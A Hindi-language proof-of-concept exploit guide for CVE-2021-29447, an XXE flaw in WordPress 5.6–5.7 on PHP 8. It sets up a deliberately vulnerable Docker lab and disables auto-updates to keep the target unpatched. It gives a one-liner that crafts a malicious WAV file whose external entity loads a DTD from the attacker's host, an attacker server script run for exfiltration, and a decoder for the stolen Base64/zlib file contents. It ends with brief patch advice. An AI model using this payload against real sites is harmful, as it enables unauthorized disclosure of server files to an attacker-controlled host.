
CVE-2021-29447 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, WordPress 5.6–5.7 में दुर्भावनापूर्ण WAV फ़ाइल अपलोड के माध्यम से XXE इंजेक्शन भेद्यता, PHP 8.0+ पर मनमानी फ़ाइल प्रकटीकरण सक्षम करना।
CVE-2021-29447 एक XML External Entity (XXE) इंजेक्शन कमज़ोरी है जो PHP 8.0+ पर चलने पर WordPress संस्करण 5.6–5.7 (5.7.1 में पैच की गई) को प्रभावित करती है। यह कमज़ोरी मीडिया मेटाडेटा पार्सिंग के लिए उपयोग की जाने वाली getID3 लाइब्रेरी में मौजूद है।
WordPress getID3 के माध्यम से WAV फ़ाइल के iXML चंक्स को प्रोसेस करता है, जो LIBXML_NOENT फ़्लैग के साथ simplexml_load_string() को कॉल करता है। यह फ़्लैग PHP 8 की डिफ़ॉल्ट XXE सुरक्षाओं (डिप्रीकेटेड libxml_disable_entity_loader()) को बायपास करते हुए, बाहरी एंटिटी प्रतिस्थापन को स्पष्ट रूप से सक्षम करता है।
यह PoC Dockerized WordPress 5.7 + PHP 8.0.3 का उपयोग करके इस कमज़ोरी को प्रदर्शित करता है। Linux उपयोगकर्ता एक सिंगल-फ़ाइल स्क्रिप्ट का उपयोग कर सकते हैं जो WAV/DTD फ़ाइलें भी जनरेट करती है।
▶️: https://youtu.be/YnGowuWHFyY
Windows होस्ट पर Docker Desktop इंस्टॉल करें
समर्पित प्रोजेक्ट निर्देशिका बनाएं (सभी PowerShell कमांड यहाँ निष्पादित होते हैं):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
कमज़ोर WordPress तैनात करें:
#powershell
notepad docker-compose.yml
docker-compose.yml की सामग्री कॉपी और पेस्ट करें
कंटेनर शुरू करें:
#powershell
docker-compose up -d
ऑटो-अपडेट अक्षम करें (कमज़ोरी बनाए रखने के लिए महत्वपूर्ण):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
कमज़ोर संस्करण सत्यापित करें:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
अपेक्षित: WordPress 5.7, PHP 8.0+
WordPress इंस्टॉलेशन:
नेविगेट करें: http://localhost:8080
एडमिन: test / test / [email protected]
सेटअप पूर्ण करें → /wp-admin तक पहुँचें
हमलावर का IP पता लगाएं:
#powershell
ipconfig | findstr IPv4
अपना IP नोट करें (जैसे 192.168.1.196)
DTD पेलोड बनाएं:
#powershell
notepad evil.dtd
evil.dtd की सामग्री कॉपी और पेस्ट करें
WAV पेलोड जनरेट करें (Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
python3 -m http.server 8000 के माध्यम से ट्रांसफर करें → Windows ब्राउज़र में डाउनलोड करें (जैसे http://<VM_IP>:8000)
नोट: Windows वातावरण में बाइनरी एस्केपिंग जटिलता के कारण WAV अलग से बनाया गया है
एक्सप्लॉइट सर्वर तैनात करें:
#powershell
notepad exploit.py
exploit.py की सामग्री कॉपी और पेस्ट करें
कमांड:
#powershell
python exploit.py -l YOUR_IP -p PORT
XXE ट्रिगर करें:
http://localhost:8080/wp-admin → मीडिया → नया जोड़ें
payload.wav अपलोड करें
Python सर्वर कंसोल की निगरानी करें -> एक्सफ़िल्ट्रेटेड डेटा कैप्चर करें
Base64+Zlib पेलोड डिकोड करें:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
WordPress 5.7.1+ में अपग्रेड करें या getID3 पार्सिंग में LIBXML_NOENT अक्षम करें।